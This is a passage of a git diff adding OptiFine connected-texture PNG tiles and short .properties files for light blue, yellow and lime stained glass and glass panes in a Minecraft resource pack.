b/src/assets/minecraft/optifine/ctm/default/programmer_art/03_glass_light_blue/4.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/03_glass_light_blue/40.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/03_glass_light_blue/40.png new file mode 100644 index 00000000..eb9e2f62 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/03_glass_light_blue/40.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/03_glass_light_blue/41.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/03_glass_light_blue/41.png new file mode 100644 index 00000000..dba86fd1 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/03_glass_light_blue/41.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/03_glass_light_blue/42.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/03_glass_light_blue/42.png new file mode 100644 index 00000000..58e9d743 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/03_glass_light_blue/42.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/03_glass_light_blue/43.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/03_glass_light_blue/43.png new file mode 100644 index 00000000..49f8af31 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/03_glass_light_blue/43.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/03_glass_light_blue/44.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/03_glass_light_blue/44.png new file mode 100644 index 00000000..4729ae03 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/03_glass_light_blue/44.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/03_glass_light_blue/45.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/03_glass_light_blue/45.png new file mode 100644 index 00000000..de1a51f7 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/03_glass_light_blue/45.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/03_glass_light_blue/46.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/03_glass_light_blue/46.png new file mode 100644 index 00000000..d7f7c6e5 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/03_glass_light_blue/46.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/03_glass_light_blue/5.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/03_glass_light_blue/5.png new file mode 100644 index 00000000..40927d64 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/03_glass_light_blue/5.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/03_glass_light_blue/6.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/03_glass_light_blue/6.png new file mode 100644 index 00000000..3005d8c9 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/03_glass_light_blue/6.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/03_glass_light_blue/7.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/03_glass_light_blue/7.png new file mode 100644 index 00000000..70c377b3 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/03_glass_light_blue/7.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/03_glass_light_blue/8.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/03_glass_light_blue/8.png new file mode 100644 index 00000000..4eeb2f21 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/03_glass_light_blue/8.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/03_glass_light_blue/9.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/03_glass_light_blue/9.png new file mode 100644 index 00000000..f6bb6abc Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/03_glass_light_blue/9.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/03_glass_light_blue/glass_light_blue.properties b/src/assets/minecraft/optifine/ctm/default/programmer_art/03_glass_light_blue/glass_light_blue.properties new file mode 100644 index 00000000..4373caeb --- /dev/null +++ b/src/assets/minecraft/optifine/ctm/default/programmer_art/03_glass_light_blue/glass_light_blue.properties @@ -0,0 +1,5 @@ +# Stained glass light_blue +matchBlocks=light_blue_stained_glass +connect=block +method=ctm +tiles=0-46 \ No newline at end of file diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/03_glass_light_blue/glass_pane_light_blue.properties b/src/assets/minecraft/optifine/ctm/default/programmer_art/03_glass_light_blue/glass_pane_light_blue.properties new file mode 100644 index 00000000..56b9ef66 --- /dev/null +++ b/src/assets/minecraft/optifine/ctm/default/programmer_art/03_glass_light_blue/glass_pane_light_blue.properties @@ -0,0 +1,6 @@ +# Stained glass pane light_blue +matchBlocks=light_blue_stained_glass_pane +connect=block +method=ctm +faces=sides +tiles=0-46 \ No newline at end of file diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/04_glass_yellow/0.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/04_glass_yellow/0.png new file mode 100644 index 00000000..8e48e120 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/04_glass_yellow/0.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/04_glass_yellow/1.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/04_glass_yellow/1.png new file mode 100644 index 00000000..7ee50cf6 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/04_glass_yellow/1.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/04_glass_yellow/10.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/04_glass_yellow/10.png new file mode 100644 index 00000000..d5e92663 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/04_glass_yellow/10.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/04_glass_yellow/11.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/04_glass_yellow/11.png new file mode 100644 index 00000000..11561fe9 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/04_glass_yellow/11.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/04_glass_yellow/12.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/04_glass_yellow/12.png new file mode 100644 index 00000000..e1e7e8ac Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/04_glass_yellow/12.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/04_glass_yellow/13.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/04_glass_yellow/13.png new file mode 100644 index 00000000..5c6b658e Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/04_glass_yellow/13.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/04_glass_yellow/14.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/04_glass_yellow/14.png new file mode 100644 index 00000000..f0537918 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/04_glass_yellow/14.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/04_glass_yellow/15.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/04_glass_yellow/15.png new file mode 100644 index 00000000..9d2c4d67 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/04_glass_yellow/15.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/04_glass_yellow/16.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/04_glass_yellow/16.png new file mode 100644 index 00000000..97ab9ab2 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/04_glass_yellow/16.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/04_glass_yellow/17.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/04_glass_yellow/17.png new file mode 100644 index 00000000..31a4fea4 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/04_glass_yellow/17.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/04_glass_yellow/18.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/04_glass_yellow/18.png new file mode 100644 index 00000000..0e4844f4 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/04_glass_yellow/18.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/04_glass_yellow/19.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/04_glass_yellow/19.png new file mode 100644 index 00000000..d3ba7508 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/04_glass_yellow/19.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/04_glass_yellow/2.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/04_glass_yellow/2.png new file mode 100644 index 00000000..d7899b56 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/04_glass_yellow/2.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/04_glass_yellow/20.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/04_glass_yellow/20.png new file mode 100644 index 00000000..5b54d6a0 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/04_glass_yellow/20.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/04_glass_yellow/21.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/04_glass_yellow/21.png new file mode 100644 index 00000000..acd47fd0 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/04_glass_yellow/21.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/04_glass_yellow/22.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/04_glass_yellow/22.png new file mode 100644 index 00000000..d975f899 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/04_glass_yellow/22.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/04_glass_yellow/23.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/04_glass_yellow/23.png new file mode 100644 index 00000000..b544aba6 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/04_glass_yellow/23.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/04_glass_yellow/24.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/04_glass_yellow/24.png new file mode 100644 index 00000000..05009544 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/04_glass_yellow/24.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/04_glass_yellow/25.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/04_glass_yellow/25.png new file mode 100644 index 00000000..92ec3386 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/04_glass_yellow/25.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/04_glass_yellow/26.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/04_glass_yellow/26.png new file mode 100644 index 00000000..499f0613 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/04_glass_yellow/26.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/04_glass_yellow/27.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/04_glass_yellow/27.png new file mode 100644 index 00000000..e0a0567d Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/04_glass_yellow/27.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/04_glass_yellow/28.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/04_glass_yellow/28.png new file mode 100644 index 00000000..a3f7fce4 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/04_glass_yellow/28.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/04_glass_yellow/29.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/04_glass_yellow/29.png new file mode 100644 index 00000000..faf281b8 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/04_glass_yellow/29.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/04_glass_yellow/3.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/04_glass_yellow/3.png new file mode 100644 index 00000000..c6cd55e4 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/04_glass_yellow/3.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/04_glass_yellow/30.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/04_glass_yellow/30.png new file mode 100644 index 00000000..77aa4373 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/04_glass_yellow/30.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/04_glass_yellow/31.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/04_glass_yellow/31.png new file mode 100644 index 00000000..ee7d8fee Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/04_glass_yellow/31.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/04_glass_yellow/32.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/04_glass_yellow/32.png new file mode 100644 index 00000000..fb1f1aeb Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/04_glass_yellow/32.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/04_glass_yellow/33.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/04_glass_yellow/33.png new file mode 100644 index 00000000..7974f3ce Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/04_glass_yellow/33.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/04_glass_yellow/34.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/04_glass_yellow/34.png new file mode 100644 index 00000000..6d999ba1 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/04_glass_yellow/34.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/04_glass_yellow/35.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/04_glass_yellow/35.png new file mode 100644 index 00000000..c85d599f Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/04_glass_yellow/35.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/04_glass_yellow/36.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/04_glass_yellow/36.png new file mode 100644 index 00000000..bf1e5f52 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/04_glass_yellow/36.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/04_glass_yellow/37.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/04_glass_yellow/37.png new file mode 100644 index 00000000..63ffd318 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/04_glass_yellow/37.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/04_glass_yellow/38.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/04_glass_yellow/38.png new file mode 100644 index 00000000..fd296c35 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/04_glass_yellow/38.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/04_glass_yellow/39.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/04_glass_yellow/39.png new file mode 100644 index 00000000..5989037f Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/04_glass_yellow/39.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/04_glass_yellow/4.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/04_glass_yellow/4.png new file mode 100644 index 00000000..e19d2eba Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/04_glass_yellow/4.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/04_glass_yellow/40.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/04_glass_yellow/40.png new file mode 100644 index 00000000..849b4984 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/04_glass_yellow/40.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/04_glass_yellow/41.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/04_glass_yellow/41.png new file mode 100644 index 00000000..149ed0c6 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/04_glass_yellow/41.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/04_glass_yellow/42.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/04_glass_yellow/42.png new file mode 100644 index 00000000..ff41948e Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/04_glass_yellow/42.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/04_glass_yellow/43.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/04_glass_yellow/43.png new file mode 100644 index 00000000..25ef075d Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/04_glass_yellow/43.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/04_glass_yellow/44.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/04_glass_yellow/44.png new file mode 100644 index 00000000..ac21fe86 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/04_glass_yellow/44.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/04_glass_yellow/45.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/04_glass_yellow/45.png new file mode 100644 index 00000000..82e59f99 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/04_glass_yellow/45.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/04_glass_yellow/46.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/04_glass_yellow/46.png new file mode 100644 index 00000000..e9ec17d8 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/04_glass_yellow/46.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/04_glass_yellow/5.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/04_glass_yellow/5.png new file mode 100644 index 00000000..bc4916a1 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/04_glass_yellow/5.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/04_glass_yellow/6.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/04_glass_yellow/6.png new file mode 100644 index 00000000..9038f0c8 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/04_glass_yellow/6.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/04_glass_yellow/7.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/04_glass_yellow/7.png new file mode 100644 index 00000000..55bbba6e Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/04_glass_yellow/7.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/04_glass_yellow/8.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/04_glass_yellow/8.png new file mode 100644 index 00000000..7c658260 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/04_glass_yellow/8.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/04_glass_yellow/9.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/04_glass_yellow/9.png new file mode 100644 index 00000000..f18633ec Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/04_glass_yellow/9.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/04_glass_yellow/glass_pane_yellow.properties b/src/assets/minecraft/optifine/ctm/default/programmer_art/04_glass_yellow/glass_pane_yellow.properties new file mode 100644 index 00000000..cdc5497d --- /dev/null +++ b/src/assets/minecraft/optifine/ctm/default/programmer_art/04_glass_yellow/glass_pane_yellow.properties @@ -0,0 +1,6 @@ +# Stained glass pane yellow +matchBlocks=yellow_stained_glass_pane +connect=block +method=ctm +faces=sides +tiles=0-46 \ No newline at end of file diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/04_glass_yellow/glass_yellow.properties b/src/assets/minecraft/optifine/ctm/default/programmer_art/04_glass_yellow/glass_yellow.properties new file mode 100644 index 00000000..5a18757f --- /dev/null +++ b/src/assets/minecraft/optifine/ctm/default/programmer_art/04_glass_yellow/glass_yellow.properties @@ -0,0 +1,5 @@ +# Stained glass yellow +matchBlocks=yellow_stained_glass +connect=block +method=ctm +tiles=0-46 \ No newline at end of file diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/05_glass_lime/0.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/05_glass_lime/0.png new file mode 100644 index 00000000..f1d3c46a Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/05_glass_lime/0.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/05_glass_lime/1.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/05_glass_lime/1.png new file mode 100644 index 00000000..28ff5aa6 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/05_glass_lime/1.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/05_glass_lime/10.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/05_glass_lime/10.png new file mode 100644 index 00000000..52548e91 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/05_glass_lime/10.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/05_glass_lime/11.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/05_glass_lime/11.png new file mode 100644 index 00000000..3fc29f5a Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/05_glass_lime/11.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/05_glass_lime/12.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/05_glass_lime/12.png new file mode 100644 index 00000000..bef180c6 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/05_glass_lime/12.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/05_glass_lime/13.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/05_glass_lime/13.png new file mode 100644 index 00000000..365032be Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/05_glass_lime/13.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/05_glass_lime/14.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/05_glass_lime/14.png new file mode 100644 index 00000000..99006ad2 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/05_glass_lime/14.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/05_glass_lime/15.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/05_glass_lime/15.png new file mode 100644 index 00000000..3daa9530 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/05_glass_lime/15.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/05_glass_lime/16.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/05_glass_lime/16.png new file mode 100644 index 00000000..da36e376 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/05_glass_lime/16.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/05_glass_lime/17.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/05_glass_lime/17.png new file mode 100644 index 00000000..158596dd Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/05_glass_lime/17.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/05_glass_lime/18.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/05_glass_lime/18.png new file mode 100644 index 00000000..68383dde Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/05_glass_lime/18.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/05_glass_lime/19.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/05_glass_lime/19.png new file mode 100644 index 00000000..2d60be09 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/05_glass_lime/19.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/05_glass_lime/2.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/05_glass_lime/2.png new file mode 100644 index 00000000..2a5941b1 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/05_glass_lime/2.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/05_glass_lime/20.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/05_glass_lime/20.png new file mode 100644 index 00000000..5a41ebed Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/05_glass_lime/20.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/05_glass_lime/21.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/05_glass_lime/21.png new file mode 100644 index 00000000..4512b611 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/05_glass_lime/21.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/05_glass_lime/22.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/05_glass_lime/22.png new file mode 100644 index 00000000..6a34f7a3 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/05_glass_lime/22.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/05_glass_lime/23.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/05_glass_lime/23.png new file mode 100644 index 00000000..d50f7513 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/05_glass_lime/23.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/05_glass_lime/24.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/05_glass_lime/24.png new file mode 100644 index 00000000..4a477d20 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/05_glass_lime/24.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/05_glass_lime/25.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/05_glass_lime/25.png new file mode 100644 index 00000000..b3d3c4cf Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/05_glass_lime/25.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/05_glass_lime/26.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/05_glass_lime/26.png new file mode 100644 index 00000000..cdbf635a Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/05_glass_lime/26.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/05_glass_lime/27.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/05_glass_lime/27.png new file mode 100644 index 00000000..8d048016 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/05_glass_lime/27.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/05_glass_lime/28.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/05_glass_lime/28.png new file mode 100644 index 00000000..96fe6bdd Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/05_glass_lime/28.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/05_glass_lime/29.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/05_glass_lime/29.png new file mode 100644 index 00000000..7c6557a5 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/05_glass_lime/29.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/05_glass_lime/3.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/05_glass_lime/3.png new file mode 100644 index 00000000..4ad6261f Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/05_glass_lime/3.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/05_glass_lime/30.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/05_glass_lime/30.png new file mode 100644 index 00000000..d0f480b3 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/05_glass_lime/30.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/05_glass_lime/31.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/05_glass_lime/31.png new file mode 100644 index 00000000..6a84d7cc Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/05_glass_lime/31.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/05_glass_lime/32.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/05_glass_lime/32.png new file mode 100644 index 00000000..11542e15 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/05_glass_lime/32.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/05_glass_lime/33.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/05_glass_lime/33.png new file mode 100644 index 00000000..99fd3477 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/05_glass_lime/33.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/05_glass_lime/34.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/05_glass_lime/34.png new file mode 100644 index 00000000..a4dc944d Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/05_glass_lime/34.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/05_glass_lime/35.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/05_glass_lime/35.png new file mode 100644 index 00000000..5d1eef1c Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/05_glass_lime/35.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/05_glass_lime/36.png 